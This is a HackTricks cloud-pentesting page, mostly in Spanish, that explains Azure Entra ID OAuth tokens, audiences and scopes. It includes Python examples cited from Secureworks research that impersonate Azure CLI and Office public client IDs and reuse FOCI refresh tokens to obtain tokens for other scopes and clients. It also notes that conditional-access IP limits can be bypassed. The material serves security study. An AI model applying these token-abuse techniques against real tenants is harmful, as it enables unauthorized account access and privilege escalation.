Az - Tokens & Public Applications

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Información Básica

Entra ID es la plataforma de gestión de identidad y acceso (IAM) basada en la nube de Microsoft, que sirve como el sistema fundamental de autenticación y autorización para servicios como Microsoft 365 y Azure Resource Manager. Azure AD implementa el marco de autorización OAuth 2.0 y el protocolo de autenticación OpenID Connect (OIDC) para gestionar el acceso a los recursos.

OAuth

Participantes Clave en OAuth 2.0:

Servidor de Recursos (RS): Protege los recursos propiedad del propietario del recurso.
Propietario del Recurso (RO): Típicamente un usuario final que posee los recursos protegidos.
Aplicación Cliente (CA): Una aplicación que busca acceso a recursos en nombre del propietario del recurso.
Servidor de Autorización (AS): Emite tokens de acceso a las aplicaciones cliente después de autenticar y autorizar.

Ámbitos y Consentimiento:

Ámbitos: Permisos granulares definidos en el servidor de recursos que especifican niveles de acceso.
Consentimiento: El proceso mediante el cual un propietario de recurso otorga a una aplicación cliente permiso para acceder a recursos con ámbitos específicos.

Integración con Microsoft 365:

Microsoft 365 utiliza Azure AD para IAM y está compuesta por múltiples aplicaciones OAuth de "primera parte".
Estas aplicaciones están profundamente integradas y a menudo tienen relaciones de servicio interdependientes.
Para simplificar la experiencia del usuario y mantener la funcionalidad, Microsoft otorga "consentimiento implícito" o "pre-consentimiento" a estas aplicaciones de primera parte.
Consentimiento Implícito: Ciertas aplicaciones son automáticamente otorgadas acceso a ámbitos específicos sin aprobación explícita del usuario o administrador.
Estos ámbitos pre-consentidos suelen estar ocultos tanto para los usuarios como para los administradores, haciéndolos menos visibles en las interfaces de gestión estándar.

Tipos de Aplicaciones Cliente:

Clientes Confidenciales:

Poseen sus propias credenciales (por ejemplo, contraseñas o certificados).
Pueden autenticarse de forma segura ante el servidor de autorización.

Clientes Públicos:

No tienen credenciales únicas.
No pueden autenticarse de forma segura ante el servidor de autorización.
Implicación de Seguridad: Un atacante puede suplantar una aplicación cliente pública al solicitar tokens, ya que no hay un mecanismo para que el servidor de autorización verifique la legitimidad de la aplicación.

Tokens de Autenticación

Hay tres tipos de tokens utilizados en OIDC:

Tokens de Acceso: El cliente presenta este token al servidor de recursos para acceder a los recursos. Solo se puede usar para una combinación específica de usuario, cliente y recurso y no puede ser revocado hasta su expiración, que es de 1 hora por defecto.
Tokens de ID: El cliente recibe este token del servidor de autorización. Contiene información básica sobre el usuario. Está vinculado a una combinación específica de usuario y cliente.
Tokens de Actualización: Proporcionados al cliente junto con el token de acceso. Se utilizan para obtener nuevos tokens de acceso e ID. Está vinculado a una combinación específica de usuario y cliente y puede ser revocado. La expiración por defecto es de 90 días para tokens de actualización inactivos y sin expiración para tokens activos (es posible obtener nuevos tokens de actualización a partir de un token de actualización).
Un token de actualización debe estar vinculado a un aud, a algunos ámbitos, y a un inquilino y solo debería poder generar tokens de acceso para ese aud, ámbitos (y no más) e inquilino. Sin embargo, este no es el caso con los tokens de aplicaciones FOCI.
Un token de actualización está cifrado y solo Microsoft puede descifrarlo.
Obtener un nuevo token de actualización no revoca el token de actualización anterior.

La información para acceso condicional está almacenada dentro del JWT. Así que, si solicitas el token desde una dirección IP permitida, esa IP será almacenada en el token y luego puedes usar ese token desde una IP no permitida para acceder a los recursos.

Tokens de Acceso "aud"

El campo indicado en el campo "aud" es el servidor de recursos (la aplicación) utilizado para realizar el inicio de sesión.

El comando az account get-access-token --resource-type [...] soporta los siguientes tipos y cada uno de ellos añadirá un "aud" específico en el token de acceso resultante:

Ten en cuenta que los siguientes son solo las API soportadas por az account get-access-token, pero hay más.

ejemplos de aud

aad-graph (API de Azure Active Directory Graph): Utilizada para acceder a la API de Azure AD Graph heredada (obsoleta), que permite a las aplicaciones leer y escribir datos de directorio en Azure Active Directory (Azure AD).
https://graph.windows.net/

arm (Azure Resource Manager): Utilizada para gestionar recursos de Azure a través de la API de Azure Resource Manager. Esto incluye operaciones como crear, actualizar y eliminar recursos como máquinas virtuales, cuentas de almacenamiento, y más.

https://management.core.windows.net/ or https://management.azure.com/
batch (Servicios de Azure Batch): Utilizada para acceder a Azure Batch, un servicio que permite aplicaciones de computación paralela y de alto rendimiento a gran escala de manera eficiente en la nube.
https://batch.core.windows.net/

data-lake (Almacenamiento de Azure Data Lake): Utilizada para interactuar con Azure Data Lake Storage Gen1, que es un servicio de almacenamiento y análisis de datos escalable.

https://datalake.azure.net/
media (Servicios de Azure Media): Utilizada para acceder a Azure Media Services, que proporciona servicios de procesamiento y entrega de medios basados en la nube para contenido de video y audio.
https://rest.media.azure.net

ms-graph (API de Microsoft Graph): Utilizada para acceder a la API de Microsoft Graph, el punto de acceso unificado para los datos de servicios de Microsoft 365. Permite acceder a datos e información de servicios como Azure AD, Office 365, Movilidad Empresarial y servicios de Seguridad.

https://graph.microsoft.com
oss-rdbms (Bases de Datos Relacionales de Código Abierto de Azure): Utilizada para acceder a los servicios de base de datos de Azure para motores de bases de datos relacionales de código abierto como MySQL, PostgreSQL y MariaDB.
https://ossrdbms-aad.database.windows.net

Ámbitos de Tokens de Acceso "scp"

El ámbito de un token de acceso se almacena dentro de la clave scp dentro del JWT del token de acceso. Estos ámbitos definen a qué tiene acceso el token de acceso.

Si un JWT tiene permitido contactar una API específica pero no tiene el ámbito para realizar la acción solicitada, no podrá realizar la acción con ese JWT.

Ejemplo de obtención de token de actualización y acceso

# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)



# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)

Escalación de privilegios de tokens FOCI

Anteriormente se mencionó que los tokens de actualización deben estar vinculados a los alcances con los que se generaron, a la aplicación y al inquilino para el que se generaron. Si se rompe alguno de estos límites, es posible escalar privilegios, ya que será posible generar tokens de acceso a otros recursos e inquilinos a los que el usuario tiene acceso y con más alcances de los que se pretendía originalmente.

Además, esto es posible con todos los tokens de actualización en la plataforma de identidad de Microsoft (cuentas de Microsoft Entra, cuentas personales de Microsoft y cuentas sociales como Facebook y Google) porque, como mencionan los documentos: "Los tokens de actualización están vinculados a una combinación de usuario y cliente, pero no están vinculados a un recurso o inquilino. Un cliente puede usar un token de actualización para adquirir tokens de acceso a través de cualquier combinación de recurso e inquilino donde tenga permiso para hacerlo. Los tokens de actualización están encriptados y solo la plataforma de identidad de Microsoft puede leerlos."

Además, tenga en cuenta que las aplicaciones FOCI son aplicaciones públicas, por lo que no se necesita un secreto para autenticarse en el servidor.

Los clientes FOCI conocidos reportados en la investigación original se pueden encontrar aquí.

Obtener un alcance diferente

Siguiendo con el código de ejemplo anterior, en este código se solicita un nuevo token para un alcance diferente:

# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)

Obtener diferentes clientes y ámbitos

# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

Referencias

https://github.com/secureworks/family-of-client-ids-research

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Revisa los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

PreviousAz - Basic Information NextAz - Enumeration Tools

Last updated 17 hours ago